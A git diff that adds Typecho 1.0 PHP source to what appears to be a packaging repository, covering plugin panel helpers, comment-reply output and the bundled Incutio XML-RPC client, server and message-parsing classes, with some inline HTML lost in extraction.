array_search($menuName, $panelTable['parent']))) { + unset($panelTable['parent'][$index]); + } + + $db = Typecho_Db::get(); + Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => (self::options()->panelTable = serialize($panelTable))) + , $db->sql()->where('name = ?', 'panelTable')); + + return $index + 10; + } + + /** + * 增加一个面板 + * + * @access public + * @param integer $index 菜单索引 + * @param string $fileName 文件名称 + * @param string $title 面板标题 + * @param string $subTitle 面板副标题 + * @param string $level 进入权限 + * @param boolean $hidden 是否隐藏 + * @param string $addLink 新增项目链接, 会显示在页面标题之后 + * @return integer + */ + public static function addPanel($index, $fileName, $title, $subTitle, $level, $hidden = false, $addLink = '') + { + $panelTable = unserialize(self::options()->panelTable); + $panelTable['child'] = empty($panelTable['child']) ? array() : $panelTable['child']; + $panelTable['child'][$index] = empty($panelTable['child'][$index]) ? array() : $panelTable['child'][$index]; + $fileName = urlencode(trim($fileName, '/')); + $panelTable['child'][$index][] = array($title, $subTitle, 'extending.php?panel=' . $fileName, $level, $hidden, $addLink); + + $panelTable['file'] = empty($panelTable['file']) ? array() : $panelTable['file']; + $panelTable['file'][] = $fileName; + $panelTable['file'] = array_unique($panelTable['file']); + + $db = Typecho_Db::get(); + Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => (self::options()->panelTable = serialize($panelTable))) + , $db->sql()->where('name = ?', 'panelTable')); + + end($panelTable['child'][$index]); + return key($panelTable['child'][$index]); + } + + /** + * 移除一个面板 + * + * @access public + * @param integer $index 菜单索引 + * @param string $fileName 文件名称 + * @return integer + */ + public static function removePanel($index, $fileName) + { + $panelTable = unserialize(self::options()->panelTable); + $panelTable['child'] = empty($panelTable['child']) ? array() : $panelTable['child']; + $panelTable['child'][$index] = empty($panelTable['child'][$index]) ? array() : $panelTable['child'][$index]; + $panelTable['file'] = empty($panelTable['file']) ? array() : $panelTable['file']; + $fileName = urlencode(trim($fileName, '/')); + + if (false !== ($key = array_search($fileName, $panelTable['file']))) { + unset($panelTable['file'][$key]); + } + + $return = 0; + foreach ($panelTable['child'][$index] as $key => $val) { + if ($val[2] == 'extending.php?panel=' . $fileName) { + unset($panelTable['child'][$index][$key]); + $return = $key; + } + } + + $db = Typecho_Db::get(); + Typecho_Widget::widget('Widget_Abstract_Options')->update(array('value' => (self::options()->panelTable = serialize($panelTable))) + , $db->sql()->where('name = ?', 'panelTable')); + return $return; + } + + /** + * 获取面板url + * + * @access public + * @param string $fileName + * @return string + */ + public static function url($fileName) + { + return Typecho_Common::url('extending.php?panel=' . (trim($fileName, '/')), self::options()->adminUrl); + } + + /** + * 手动配置插件变量 + * + * @access public + * @static + * @param mixed $pluginName 插件名称 + * @param array $settings 变量键值对 + * @param bool $isPersonal. (default: false) 是否为私人变量 + * @return void + */ + public static function configPlugin($pluginName, array $settings, $isPersonal = false) + { + if (empty($settings)) { + return; + } + + Widget_Plugins_Edit::configPlugin($pluginName, $settings, $isPersonal); + } + + /** + * 评论回复按钮 + * + * @access public + * @param string $theId 评论元素id + * @param integer $coid 评论id + * @param string $word 按钮文字 + * @param string $formId 表单id + * @param integer $style 样式类型 + * @return void + */ + public static function replyLink($theId, $coid, $word = 'Reply', $formId = 'respond', $style = 2) + { + if (self::options()->commentsThreaded) { + echo '' . $word . ''; + } + } + + /** + * 评论取消按钮 + * + * @access public + * @param string $word 按钮文字 + * @param string $formId 表单id + * @return void + */ + public static function cancleCommentReplyLink($word = 'Cancle', $formId = 'respond') + { + if (self::options()->commentsThreaded) { + echo '' . $word . ''; + } + } + + /** + * 评论回复js脚本 + * + * @access public + * @return void + */ + public static function threadedCommentsScript() + { + if (self::options()->commentsThreaded) { + echo +<< +var typechoAddCommentReply = function (cid, coid, cfid, style) { + var _ce = document.getElementById(cid), _cp = _ce.parentNode; + var _cf = document.getElementById(cfid); + + var _pi = document.getElementById('comment-parent'); + if (null == _pi) { + _pi = document.createElement('input'); + _pi.setAttribute('type', 'hidden'); + _pi.setAttribute('name', 'parent'); + _pi.setAttribute('id', 'comment-parent'); + + var _form = 'form' == _cf.tagName ? _cf : _cf.getElementsByTagName('form')[0]; + + _form.appendChild(_pi); + } + _pi.setAttribute('value', coid); + + if (null == document.getElementById('comment-form-place-holder')) { + var _cfh = document.createElement('div'); + _cfh.setAttribute('id', 'comment-form-place-holder'); + _cf.parentNode.insertBefore(_cfh, _cf); + } + + 1 == style ? (null == _ce.nextSibling ? _cp.appendChild(_cf) + : _cp.insertBefore(_cf, _ce.nextSibling)) : _ce.appendChild(_cf); + + return false; +}; + +var typechoCancleCommentReply = function (cfid) { + var _cf = document.getElementById(cfid), + _cfh = document.getElementById('comment-form-place-holder'); + + var _pi = document.getElementById('comment-parent'); + if (null != _pi) { + _pi.parentNode.removeChild(_pi); + } + + if (null == _cfh) { + return true; + } + + _cfh.parentNode.insertBefore(_cf, _cfh); + return false; +}; + +EOF; + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/Base64.php b/Typecho/1.0/php-fpm/src/var/IXR/Base64.php new file mode 100755 index 000000000..0afe16eae --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/Base64.php @@ -0,0 +1,43 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR Base64编码 + * + * @package IXR + */ +class IXR_Base64 +{ + /** + * 编码数据 + * + * @var string + */ + private $data; + + /** + * 初始化数据 + * + * @param string $data + */ + public function __construct($data) + { + $this->data = $data; + } + + /** + * 获取XML数据 + * + * @return string + */ + public function getXml() + { + return '' . base64_encode($this->data) . ''; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/Client.php b/Typecho/1.0/php-fpm/src/var/IXR/Client.php new file mode 100755 index 000000000..30098b4b7 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/Client.php @@ -0,0 +1,279 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR客户端 + * reload by typecho team(http://www.typecho.org) + * + * @package IXR + */ +class IXR_Client +{ + /** 默认客户端 */ + const DEFAULT_USERAGENT = 'The Incutio XML-RPC PHP Library(Reload By Typecho)'; + + /** + * 服务端地址 + * + * @access private + * @var string + */ + private $server; + + /** + * 端口名称 + * + * @access private + * @var integer + */ + private $port; + + /** + * 路径名称 + * + * @access private + * @var string + */ + private $path; + + /** + * 地址 + * + * @access private + * @var string + */ + private $url; + + /** + * 客户端 + * + * @access private + * @var string + */ + private $useragent; + + /** + * 回执结构体 + * + * @access private + * @var string + */ + private $response; + + /** + * 消息体 + * + * @access private + * @var string + */ + private $message = false; + + /** + * 调试开关 + * + * @access private + * @var boolean + */ + private $debug = false; + + /** + * 请求前缀 + * + * @access private + * @var string + */ + private $prefix = NULL; + + // Storage place for an error message + private $error = false; + + /** + * 客户端构造函数 + * + * @access public + * @param string $server 服务端地址 + * @param string $path 路径名称 + * @param integer $port 端口名称 + * @param string $useragent 客户端 + * @return void + */ + public function __construct($server, $path = false, $port = 80, $useragent = self::DEFAULT_USERAGENT, $prefix = NULL) + { + if (!$path) { + $this->url = $server; + + // Assume we have been given a Url instead + $bits = parse_url($server); + $this->server = $bits['host']; + $this->port = isset($bits['port']) ? $bits['port'] : 80; + $this->path = isset($bits['path']) ? $bits['path'] : '/'; + + // Make absolutely sure we have a path + if (isset($bits['query'])) { + $this->path .= '?' . $bits['query']; + } + } else { + /** Typecho_Common */ + require_once 'Typecho/Common.php'; + + $this->url = Typecho_Common::buildUrl(array( + 'scheme' => 'http', + 'host' => $server, + 'path' => $path, + 'port' => $port + )); + + $this->server = $server; + $this->path = $path; + $this->port = $port; + } + + $this->prefix = $prefix; + $this->useragent = $useragent; + } + + /** + * 设置调试模式 + * + * @access public + * @return void + */ + public function __setDebug() + { + $this->debug = true; + } + + /** + * 执行请求 + * + * @access public + * @return void + */ + public function __rpcCall() + { + $args = func_get_args(); + $method = array_shift($args); + $request = new IXR_Request($method, $args); + $xml = $request->getXml(); + + $client = Typecho_Http_Client::get(); + if (!$client) { + $this->error = new IXR_Error(-32300, 'transport error - could not open socket'); + return false; + } + + $client->setHeader('Content-Type', 'text/xml') + ->setHeader('User-Agent', $this->useragent) + ->setData($xml) + ->send($this->url); + + $contents = $client->getResponseBody(); + + if ($this->debug) { + echo '
    '.htmlspecialchars($contents)."\n
    \n\n"; + } + + // Now parse what we've got back + $this->message = new IXR_Message($contents); + if (!$this->message->parse()) { + // XML error + $this->error = new IXR_Error(-32700, 'parse error. not well formed'); + return false; + } + + // Is the message a fault? + if ($this->message->messageType == 'fault') { + $this->error = new IXR_Error($this->message->faultCode, $this->message->faultString); + return false; + } + + // Message must be OK + return true; + } + + /** + * 增加前缀 + * + * $rpc->metaWeblog->newPost(); + * + * + * @access public + * @param string $prefix 前缀 + * @return void + */ + public function __get($prefix) + { + return new IXR_Client($this->server, $this->path, $this->port, $this->useragent, $this->prefix . $prefix . '.'); + } + + /** + * 增加魔术特性 + * by 70 + * + * @access public + * @return mixed + */ + public function __call($method, $args) + { + array_unshift($args, $this->prefix . $method); + $return = call_user_func_array(array($this, '__rpcCall'), $args); + + if ($return) { + return $this->__getResponse(); + } else { + require_once 'IXR/Exception.php'; + throw new IXR_Exception($this->__getErrorMessage(), $this->__getErrorCode()); + } + } + + /** + * 获得返回值 + * + * @access public + * @return void + */ + public function __getResponse() + { + // methodResponses can only have one param - return that + return $this->message->params[0]; + } + + /** + * 是否为错误 + * + * @access public + * @return void + */ + public function __isError() + { + return (is_object($this->error)); + } + + /** + * 获取错误代码 + * + * @access public + * @return void + */ + public function __getErrorCode() + { + return $this->error->code; + } + + /** + * 获取错误消息 + * + * @access public + * @return void + */ + public function __getErrorMessage() + { + return $this->error->message; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/ClientMulticall.php b/Typecho/1.0/php-fpm/src/var/IXR/ClientMulticall.php new file mode 100755 index 000000000..6433bdb28 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/ClientMulticall.php @@ -0,0 +1,35 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR客户端 + * + * @package IXR + */ +class IXR_ClientMulticall extends IXR_Client { + var $calls = array(); + function IXR_ClientMulticall($server, $path = false, $port = 80) { + parent::IXR_Client($server, $path, $port); + $this->useragent = 'The Incutio XML-RPC PHP Library (multicall client)'; + } + function addCall() { + $args = func_get_args(); + $methodName = array_shift($args); + $struct = array( + 'methodName' => $methodName, + 'params' => $args + ); + $this->calls[] = $struct; + } + function query() { + // Prepare multicall, then call the parent::query() method + return parent::query('system.multicall', $this->calls); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/Date.php b/Typecho/1.0/php-fpm/src/var/IXR/Date.php new file mode 100755 index 000000000..048caae22 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/Date.php @@ -0,0 +1,55 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR日期 + * + * @package IXR + */ +class IXR_Date { + var $year; + var $month; + var $day; + var $hour; + var $minute; + var $second; + function IXR_Date($time) { + // $time can be a PHP timestamp or an ISO one + if (is_numeric($time)) { + $this->parseTimestamp($time); + } else { + $this->parseIso($time); + } + } + function parseTimestamp($timestamp) { + $this->year = date('Y', $timestamp); + $this->month = date('m', $timestamp); + $this->day = date('d', $timestamp); + $this->hour = date('H', $timestamp); + $this->minute = date('i', $timestamp); + $this->second = date('s', $timestamp); + } + function parseIso($iso) { + $this->year = substr($iso, 0, 4); + $this->month = substr($iso, 4, 2); + $this->day = substr($iso, 6, 2); + $this->hour = substr($iso, 9, 2); + $this->minute = substr($iso, 12, 2); + $this->second = substr($iso, 15, 2); + } + function getIso() { + return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second; + } + function getXml() { + return ''.$this->getIso().''; + } + function getTimestamp() { + return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/Error.php b/Typecho/1.0/php-fpm/src/var/IXR/Error.php new file mode 100755 index 000000000..cfc7aaad5 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/Error.php @@ -0,0 +1,76 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR错误 + * + * @package IXR + */ +class IXR_Error +{ + /** + * 错误代码 + * + * @access public + * @var integer + */ + public $code; + + /** + * 错误消息 + * + * @access public + * @var string + */ + public $message; + + /** + * 构造函数 + * + * @access public + * @param integer $code 错误代码 + * @param string $message 错误消息 + * @return void + */ + public function __construct($code, $message) + { + $this->code = $code; + $this->message = $message; + } + + /** + * 获取xml + * + * @access public + * @return string + */ + public function getXml() + { + $xml = << + + + + + faultCode + {$this->code} + + + faultString + {$this->message} + + + + + + +EOD; + return $xml; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/Exception.php b/Typecho/1.0/php-fpm/src/var/IXR/Exception.php new file mode 100755 index 000000000..682c42a2e --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/Exception.php @@ -0,0 +1,17 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR异常类 + * + * @package IXR + */ +class IXR_Exception extends Exception +{} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/IntrospectionServer.php b/Typecho/1.0/php-fpm/src/var/IXR/IntrospectionServer.php new file mode 100755 index 000000000..664302c97 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/IntrospectionServer.php @@ -0,0 +1,158 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR服务器 + * + * @package IXR + */ +class IXR_IntrospectionServer extends IXR_Server { + var $signatures; + var $help; + function IXR_IntrospectionServer() { + $this->setCallbacks(); + $this->setCapabilities(); + $this->capabilities['introspection'] = array( + 'specUrl' => 'http://xmlrpc.usefulinc.com/doc/reserved.html', + 'specVersion' => 1 + ); + $this->addCallback( + 'system.methodSignature', + 'this:methodSignature', + array('array', 'string'), + 'Returns an array describing the return type and required parameters of a method' + ); + $this->addCallback( + 'system.getCapabilities', + 'this:getCapabilities', + array('struct'), + 'Returns a struct describing the XML-RPC specifications supported by this server' + ); + $this->addCallback( + 'system.listMethods', + 'this:listMethods', + array('array'), + 'Returns an array of available methods on this server' + ); + $this->addCallback( + 'system.methodHelp', + 'this:methodHelp', + array('string', 'string'), + 'Returns a documentation string for the specified method' + ); + } + function addCallback($method, $callback, $args, $help) { + $this->callbacks[$method] = $callback; + $this->signatures[$method] = $args; + $this->help[$method] = $help; + } + function call($methodname, $args) { + // Make sure it's in an array + if ($args && !is_array($args)) { + $args = array($args); + } + // Over-rides default call method, adds signature check + if (!$this->hasMethod($methodname)) { + return new IXR_Error(-32601, 'server error. requested method "'.$this->message->methodName.'" not specified.'); + } + $method = $this->callbacks[$methodname]; + $signature = $this->signatures[$methodname]; + $returnType = array_shift($signature); + // Check the number of arguments + if (count($args) != count($signature)) { + // print 'Num of args: '.count($args).' Num in signature: '.count($signature); + return new IXR_Error(-32602, 'server error. wrong number of method parameters'); + } + // Check the argument types + $ok = true; + $argsbackup = $args; + for ($i = 0, $j = count($args); $i < $j; $i++) { + $arg = array_shift($args); + $type = array_shift($signature); + switch ($type) { + case 'int': + case 'i4': + if (is_array($arg) || !is_int($arg)) { + $ok = false; + } + break; + case 'base64': + case 'string': + if (!is_string($arg)) { + $ok = false; + } + break; + case 'boolean': + if ($arg !== false && $arg !== true) { + $ok = false; + } + break; + case 'float': + case 'double': + if (!is_float($arg)) { + $ok = false; + } + break; + case 'date': + case 'dateTime.iso8601': + if (!is_a($arg, 'IXR_Date')) { + $ok = false; + } + break; + } + if (!$ok) { + return new IXR_Error(-32602, 'server error. invalid method parameters'); + } + } + // It passed the test - run the "real" method call + return parent::call($methodname, $argsbackup); + } + function methodSignature($method) { + if (!$this->hasMethod($method)) { + return new IXR_Error(-32601, 'server error. requested method "'.$method.'" not specified.'); + } + // We should be returning an array of types + $types = $this->signatures[$method]; + $return = array(); + foreach ($types as $type) { + switch ($type) { + case 'string': + $return[] = 'string'; + break; + case 'int': + case 'i4': + $return[] = 42; + break; + case 'double': + $return[] = 3.1415; + break; + case 'dateTime.iso8601': + $return[] = new IXR_Date(time()); + break; + case 'boolean': + $return[] = true; + break; + case 'base64': + $return[] = new IXR_Base64('base64'); + break; + case 'array': + $return[] = array('array'); + break; + case 'struct': + $return[] = array('struct' => 'struct'); + break; + } + } + return $return; + } + function methodHelp($method) { + return $this->help[$method]; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/Message.php b/Typecho/1.0/php-fpm/src/var/IXR/Message.php new file mode 100755 index 000000000..78cb703d8 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/Message.php @@ -0,0 +1,167 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR消息 + * + * @package IXR + */ +class IXR_Message { + var $message; + var $messageType; // methodCall / methodResponse / fault + var $faultCode; + var $faultString; + var $methodName; + var $params; + // Current variable stacks + var $_arraystructs = array(); // The stack used to keep track of the current array/struct + var $_arraystructstypes = array(); // Stack keeping track of if things are structs or array + var $_currentStructName = array(); // A stack as well + var $_param; + var $_value; + var $_currentTag; + var $_currentTagContents; + // The XML parser + var $_parser; + function IXR_Message ($message) { + $this->message = $message; + } + function parse() { + // first remove the XML declaration + $this->message = preg_replace('/<\?xml(.*)?\?'.'>/', '', $this->message); + if (trim($this->message) == '') { + return false; + } + $this->_parser = xml_parser_create(); + // Set XML parser to take the case of tags in to account + xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false); + // Set XML parser callback functions + xml_set_object($this->_parser, $this); + xml_set_element_handler($this->_parser, 'tag_open', 'tag_close'); + xml_set_character_data_handler($this->_parser, 'cdata'); + if (!xml_parse($this->_parser, $this->message)) { + /* die(sprintf('XML error: %s at line %d', + xml_error_string(xml_get_error_code($this->_parser)), + xml_get_current_line_number($this->_parser))); */ + return false; + } + xml_parser_free($this->_parser); + // Grab the error messages, if any + if ($this->messageType == 'fault') { + $this->faultCode = $this->params[0]['faultCode']; + $this->faultString = $this->params[0]['faultString']; + } + return true; + } + function tag_open($parser, $tag, $attr) { + $this->currentTag = $tag; + switch($tag) { + case 'methodCall': + case 'methodResponse': + case 'fault': + $this->messageType = $tag; + break; + /* Deal with stacks of arrays and structs */ + case 'data': // data is to all intents and puposes more interesting than array + $this->_arraystructstypes[] = 'array'; + $this->_arraystructs[] = array(); + break; + case 'struct': + $this->_arraystructstypes[] = 'struct'; + $this->_arraystructs[] = array(); + break; + } + } + function cdata($parser, $cdata) { + $this->_currentTagContents .= $cdata; + } + function tag_close($parser, $tag) { + $valueFlag = false; + switch($tag) { + case 'int': + case 'i4': + $value = (int)trim($this->_currentTagContents); + $this->_currentTagContents = ''; + $valueFlag = true; + break; + case 'double': + $value = (double)trim($this->_currentTagContents); + $this->_currentTagContents = ''; + $valueFlag = true; + break; + case 'string': + $value = (string)trim($this->_currentTagContents); + $this->_currentTagContents = ''; + $valueFlag = true; + break; + case 'dateTime.iso8601': + $value = new IXR_Date(trim($this->_currentTagContents)); + // $value = $iso->getTimestamp(); + $this->_currentTagContents = ''; + $valueFlag = true; + break; + case 'value': + // "If no type is indicated, the type is string." + if (trim($this->_currentTagContents) != '') { + $value = (string)$this->_currentTagContents; + $this->_currentTagContents = ''; + $valueFlag = true; + } + break; + case 'boolean': + $value = (boolean)trim($this->_currentTagContents); + $this->_currentTagContents = ''; + $valueFlag = true; + break; + case 'base64': + $value = base64_decode($this->_currentTagContents); + $this->_currentTagContents = ''; + $valueFlag = true; + break; + /* Deal with stacks of arrays and structs */ + case 'data': + case 'struct': + $value = array_pop($this->_arraystructs); + array_pop($this->_arraystructstypes); + $valueFlag = true; + break; + case 'member': + array_pop($this->_currentStructName); + break; + case 'name': + $this->_currentStructName[] = trim($this->_currentTagContents); + $this->_currentTagContents = ''; + break; + case 'methodName': + $this->methodName = trim($this->_currentTagContents); + $this->_currentTagContents = ''; + break; + } + if ($valueFlag) { + /* + if (!is_array($value) && !is_object($value)) { + $value = trim($value); + } + */ + if (count($this->_arraystructs) > 0) { + // Add value to struct or array + if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') { + // Add to struct + $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value; + } else { + // Add to array + $this->_arraystructs[count($this->_arraystructs)-1][] = $value; + } + } else { + // Just add as a paramater + $this->params[] = $value; + } + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/Request.php b/Typecho/1.0/php-fpm/src/var/IXR/Request.php new file mode 100755 index 000000000..ef2df6cae --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/Request.php @@ -0,0 +1,43 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR请求体 + * + * @package IXR + */ +class IXR_Request { + var $method; + var $args; + var $xml; + function IXR_Request($method, $args) { + $this->method = $method; + $this->args = $args; + $this->xml = << + +{$this->method} + + +EOD; + foreach ($this->args as $arg) { + $this->xml .= ''; + $v = new IXR_Value($arg); + $this->xml .= $v->getXml(); + $this->xml .= "\n"; + } + $this->xml .= ''; + } + function getLength() { + return strlen($this->xml); + } + function getXml() { + return $this->xml; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/Server.php b/Typecho/1.0/php-fpm/src/var/IXR/Server.php new file mode 100755 index 000000000..b3d47a2b8 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/Server.php @@ -0,0 +1,328 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR服务器 + * + * @package IXR + */ +class IXR_Server +{ + /** + * 输入参数 + * + * @access private + * @var array + */ + private $data; + + /** + * 回调函数 + * + * @access private + * @var array + */ + private $callbacks = array(); + + /** + * 消息体 + * + * @access private + * @var IXR_Message + */ + private $message; + + /** + * 默认参数 + * + * @access private + * @var array + */ + private $capabilities; + + /** + * 构造函数 + * + * @access public + * @param mixed $callbacks 回调函数 + * @param mixed $data 输入参数 + * @return void + */ + public function __construct($callbacks = false, $data = false) + { + $this->setCapabilities(); + if ($callbacks) { + $this->callbacks = $callbacks; + } + $this->setCallbacks(); + $this->serve($data); + } + + /** + * 呼叫内部方法 + * + * @access private + * @param string $methodname 方法名 + * @param mixed $args 参数 + * @return mixed + */ + private function call($methodname, $args) + { + // hook + if (0 !== strpos($methodname, 'hook.') && $this->hasMethod('hook.beforeCall')) { + $this->call('hook.beforeCall', array($methodname)); + } + + if (!$this->hasMethod($methodname)) { + return new IXR_Error(-32601, 'server error. requested method '.$methodname.' does not exist.'); + } + $method = $this->callbacks[$methodname]; + + // Are we dealing with a function or a method? + if (is_string($method) && substr($method, 0, 5) == 'this:') { + // It's a class method - check it exists + $method = substr($method, 5); + if (!method_exists($this, $method)) { + return new IXR_Error(-32601, 'server error. requested class method "'.$method.'" does not exist.'); + } + // Call the method + $result = $this->$method($args); + } else { + if (is_array($method)) { + list($object, $func) = $method; + if (!is_callable($method)) { + return new IXR_Error(-32601, 'server error. requested class method "'.$object . '.' . $func.'" does not exist.'); + } + + $result = call_user_func_array(array($object, $func), $args); + } elseif (!function_exists($method)) { + // It's a function - does it exist? + return new IXR_Error(-32601, 'server error. requested function "'.$method.'" does not exist.'); + } else { + // Call the function + $result = $method($args); + } + } + + // hook + if (0 !== strpos($methodname, 'hook.') && $this->hasMethod('hook.afterCall')) { + $this->call('hook.afterCall', array($methodname)); + } + + return $result; + } + + /** + * 抛出错误 + * + * @access private + * @param integer $error 错误代码 + * @param string $message 错误消息 + * @return void + */ + private function error($error, $message = false) + { + // Accepts either an error object or an error code and message + if ($message && !is_object($error)) { + $error = new IXR_Error($error, $message); + } + $this->output($error->getXml()); + } + + /** + * 输出xml + * + * @access private + * @param string $xml 输出xml + * @return 输出xml + */ + private function output($xml) + { + $xml = ''."\n".$xml; + $length = strlen($xml); + header('Connection: close'); + header('Content-Length: '.$length); + header('Content-Type: text/xml'); + header('Date: '.date('r')); + echo $xml; + exit; + } + + /** + * 是否存在方法 + * + * @access private + * @param string $method 方法名 + * @return mixed + */ + private function hasMethod($method) + { + return in_array($method, array_keys($this->callbacks)); + } + + /** + * 设置默认参数 + * + * @access public + * @return void + */ + private function setCapabilities() + { + // Initialises capabilities array + $this->capabilities = array( + 'xmlrpc' => array( + 'specUrl' => 'http://www.xmlrpc.com/spec', + 'specVersion' => 1 + ), + 'faults_interop' => array( + 'specUrl' => 'http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php', + 'specVersion' => 20010516 + ), + 'system.multicall' => array( + 'specUrl' => 'http://www.xmlrpc.com/discuss/msgReader$1208', + 'specVersion' => 1 + ), + ); + } + + /** + * 设置默认方法 + * + * @access private + * @return void + */ + private function setCallbacks() + { + $this->callbacks['system.getCapabilities'] = 'this:getCapabilities'; + $this->callbacks['system.listMethods'] = 'this:listMethods'; + $this->callbacks['system.multicall'] = 'this:multiCall'; + } + + /** + * 服务入口 + * + * @access private + * @param mixed $data 输入参数 + * @return void + */ + private function serve($data = false) + { + if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) { + $GLOBALS['HTTP_RAW_POST_DATA'] = file_get_contents("php://input"); + } + if (isset($GLOBALS['HTTP_RAW_POST_DATA'])) { + $GLOBALS['HTTP_RAW_POST_DATA'] = trim($GLOBALS['HTTP_RAW_POST_DATA']); + } + + if (!$data) { + global $HTTP_RAW_POST_DATA; + if (!$HTTP_RAW_POST_DATA) { + die('XML-RPC server accepts POST requests only.'); + } + $data = $HTTP_RAW_POST_DATA; + } + $this->message = new IXR_Message($data); + if (!$this->message->parse()) { + $this->error(-32700, 'parse error. not well formed'); + } + if ($this->message->messageType != 'methodCall') { + $this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall'); + } + + if (0 === strpos($this->message->methodName, 'hook.')) { + die('THIS METHOD MUST BE CALLED INSIDE.'); + } + + $result = $this->call($this->message->methodName, $this->message->params); + // Is the result an error? + if (is_a($result, 'IXR_Error')) { + $this->error($result); + } + // Encode the result + $r = new IXR_Value($result); + $resultxml = $r->getXml(); + // Create the XML + $xml = << + + + + $resultxml + + + + + +EOD; + // hook + if ($this->hasMethod('hook.beforeOutput')) { + $this->call('hook.beforeOutput', array()); + } + + // Send it + $this->output($xml); + } + + /** + * 获取默认参数 + * + * @access public + * @param mixed $args 输入参数 + * @return array + */ + public function getCapabilities($args) + { + return $this->capabilities; + } + + /** + * 列出所有方法 + * + * @access public + * @param mixed $args 输入参数 + * @return mixed + */ + public function listMethods($args) + { + // Returns a list of methods - uses array_reverse to ensure user defined + // methods are listed before server defined methods + return array_reverse(array_keys($this->callbacks)); + } + + /** + * 一次处理多个请求 + * + * @access public + * @param void $methodcalls + * @return array + */ + public function multiCall($methodcalls) + { + // See http://www.xmlrpc.com/discuss/msgReader$1208 + $return = array(); + foreach ($methodcalls as $call) { + $method = $call['methodName']; + $params = $call['params']; + if ($method == 'system.multicall') { + $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden'); + } else { + $result = $this->call($method, $params); + } + if (is_a($result, 'IXR_Error')) { + $return[] = array( + 'faultCode' => $result->code, + 'faultString' => $result->message + ); + } else { + $return[] = array($result); + } + } + return $return; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/IXR/Value.php b/Typecho/1.0/php-fpm/src/var/IXR/Value.php new file mode 100755 index 000000000..4e8424d16 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/IXR/Value.php @@ -0,0 +1,119 @@ + htmlspecialchars) + Site: http://scripts.incutio.com/xmlrpc/ + Manual: http://scripts.incutio.com/xmlrpc/manual.php + Made available under the Artistic License: http://www.opensource.org/licenses/artistic-license.php +*/ + +/** + * IXR值 + * + * @package IXR + */ +class IXR_Value { + var $data; + var $type; + function IXR_Value ($data, $type = false) { + $this->data = $data; + if (!$type) { + $type = $this->calculateType(); + } + $this->type = $type; + if ($type == 'struct') { + /* Turn all the values in the array in to new IXR_Value objects */ + foreach ($this->data as $key => $value) { + $this->data[$key] = new IXR_Value($value); + } + } + if ($type == 'array') { + for ($i = 0, $j = count($this->data); $i < $j; $i++) { + $this->data[$i] = new IXR_Value($this->data[$i]); + } + } + } + function calculateType() { + if ($this->data === true || 